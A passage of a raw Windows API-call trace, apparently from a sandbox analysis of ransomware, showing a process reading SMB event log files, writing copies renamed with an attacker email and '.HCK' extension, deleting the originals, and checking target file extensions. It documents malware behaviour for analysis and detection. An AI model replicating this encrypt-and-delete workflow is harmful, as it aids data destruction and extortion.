| out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.708] CloseHandle (hObject=0x2fc) returned 1 [0156.709] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0156.709] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.709] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.709] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.709] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.709] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.710] GetLastError () returned 0x0 [0156.710] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.713] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.715] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.715] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x130, lpOverlapped=0x0) returned 1 [0156.715] SetEndOfFile (hFile=0x394) returned 1 [0156.715] CloseHandle (hObject=0x394) returned 1 [0156.717] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.717] SetEndOfFile (hFile=0x2fc) returned 1 [0156.718] CloseHandle (hObject=0x2fc) returned 1 [0156.718] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.718] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0156.718] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.718] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.718] lstrlenW (lpString=".doc") returned 4 [0156.718] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.718] lstrlenW (lpString=".docx") returned 5 [0156.718] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.719] lstrlenW (lpString=".pdf") returned 4 [0156.719] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".xls") returned 4 [0156.719] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".xlsx") returned 5 [0156.719] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.719] lstrlenW (lpString=".ppt") returned 4 [0156.719] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString=".zip") returned 4 [0156.719] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".rar") returned 4 [0156.719] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".bz2") returned 4 [0156.719] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".7z") returned 3 [0156.719] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString=".dbf") returned 4 [0156.719] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString=".1cd") returned 4 [0156.719] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString=".jpg") returned 4 [0156.719] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString=".doc") returned 4 [0156.719] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".docx") returned 5 [0156.719] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.719] lstrlenW (lpString=".pdf") returned 4 [0156.719] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".xls") returned 4 [0156.719] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".xlsx") returned 5 [0156.719] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.719] lstrlenW (lpString=".ppt") returned 4 [0156.719] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.719] lstrlenW (lpString=".zip") returned 4 [0156.719] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".rar") returned 4 [0156.719] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".bz2") returned 4 [0156.719] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.719] lstrlenW (lpString=".7z") returned 3 [0156.719] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.719] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.720] lstrlenW (lpString=".dbf") returned 4 [0156.720] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.720] lstrlenW (lpString=".1cd") returned 4 [0156.720] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.720] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0156.720] lstrlenW (lpString=".jpg") returned 4 [0156.720] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.720] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.720] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0156.720] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.720] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.720] CloseHandle (hObject=0x2fc) returned 1 [0156.720] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0156.720] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.720] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.720] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.720] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.720] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.721] GetLastError () returned 0x0 [0156.721] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.723] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.724] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.724] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0156.724] SetEndOfFile (hFile=0x394) returned 1 [0156.724] CloseHandle (hObject=0x394) returned 1 [0156.726] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.726] SetEndOfFile (hFile=0x2fc) returned 1 [0156.727] CloseHandle (hObject=0x2fc) returned 1 [0156.727] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.727] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString=".doc") returned 4 [0156.728] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".docx") returned 5 [0156.728] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.728] lstrlenW (lpString=".pdf") returned 4 [0156.728] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".xls") returned 4 [0156.728] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".xlsx") returned 5 [0156.728] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.728] lstrlenW (lpString=".ppt") returned 4 [0156.728] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString=".zip") returned 4 [0156.728] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".rar") returned 4 [0156.728] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".bz2") returned 4 [0156.728] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".7z") returned 3 [0156.728] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString=".dbf") returned 4 [0156.728] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString=".1cd") returned 4 [0156.728] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString=".jpg") returned 4 [0156.728] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.728] lstrlenW (lpString=".doc") returned 4 [0156.728] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".docx") returned 5 [0156.728] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.728] lstrlenW (lpString=".pdf") returned 4 [0156.728] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".xls") returned 4 [0156.728] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.728] lstrlenW (lpString=".xlsx") returned 5 [0156.728] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.728] lstrlenW (lpString=".ppt") returned 4 [0156.729] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.729] lstrlenW (lpString=".zip") returned 4 [0156.729] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.729] lstrlenW (lpString=".rar") returned 4 [0156.729] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.729] lstrlenW (lpString=".bz2") returned 4 [0156.729] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.729] lstrlenW (lpString=".7z") returned 3 [0156.729] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.729] lstrlenW (lpString=".dbf") returned 4 [0156.729] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.729] lstrlenW (lpString=".1cd") returned 4 [0156.729] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0156.729] lstrlenW (lpString=".jpg") returned 4 [0156.729] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.729] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.729] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0156.729] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.730] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.730] CloseHandle (hObject=0x2fc) returned 1 [0156.730] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0156.730] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.730] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.730] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.730] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.730] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.730] GetLastError () returned 0x0 [0156.731] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.733] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.734] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.734] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x128, lpOverlapped=0x0) returned 1 [0156.734] SetEndOfFile (hFile=0x394) returned 1 [0156.734] CloseHandle (hObject=0x394) returned 1 [0156.736] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.736] SetEndOfFile (hFile=0x2fc) returned 1 [0156.737] CloseHandle (hObject=0x2fc) returned 1 [0156.737] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.737] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString=".doc") returned 4 [0156.738] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".docx") returned 5 [0156.738] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.738] lstrlenW (lpString=".pdf") returned 4 [0156.738] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".xls") returned 4 [0156.738] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".xlsx") returned 5 [0156.738] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.738] lstrlenW (lpString=".ppt") returned 4 [0156.738] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString=".zip") returned 4 [0156.738] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".rar") returned 4 [0156.738] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".bz2") returned 4 [0156.738] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".7z") returned 3 [0156.738] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString=".dbf") returned 4 [0156.738] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString=".1cd") returned 4 [0156.738] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString=".jpg") returned 4 [0156.738] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.738] lstrlenW (lpString=".doc") returned 4 [0156.738] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.738] lstrlenW (lpString=".docx") returned 5 [0156.738] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.738] lstrlenW (lpString=".pdf") returned 4 [0156.738] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString=".xls") returned 4 [0156.739] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString=".xlsx") returned 5 [0156.739] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.739] lstrlenW (lpString=".ppt") returned 4 [0156.739] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.739] lstrlenW (lpString=".zip") returned 4 [0156.739] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString=".rar") returned 4 [0156.739] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString=".bz2") returned 4 [0156.739] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString=".7z") returned 3 [0156.739] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.739] lstrlenW (lpString=".dbf") returned 4 [0156.739] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.739] lstrlenW (lpString=".1cd") returned 4 [0156.739] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.739] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0156.739] lstrlenW (lpString=".jpg") returned 4 [0156.739] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.739] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.739] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0156.739] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.739] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0156.739] CloseHandle (hObject=0x2fc) returned 1 [0156.739] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0156.740] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.740] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0156.740] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.740] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.740] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0156.740] GetLastError () returned 0x0 [0156.740] ReadFile (in: hFile=0x2fc, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0157.128] WriteFile (in: hFile=0x394, lpBuffer=0x37f6020*, 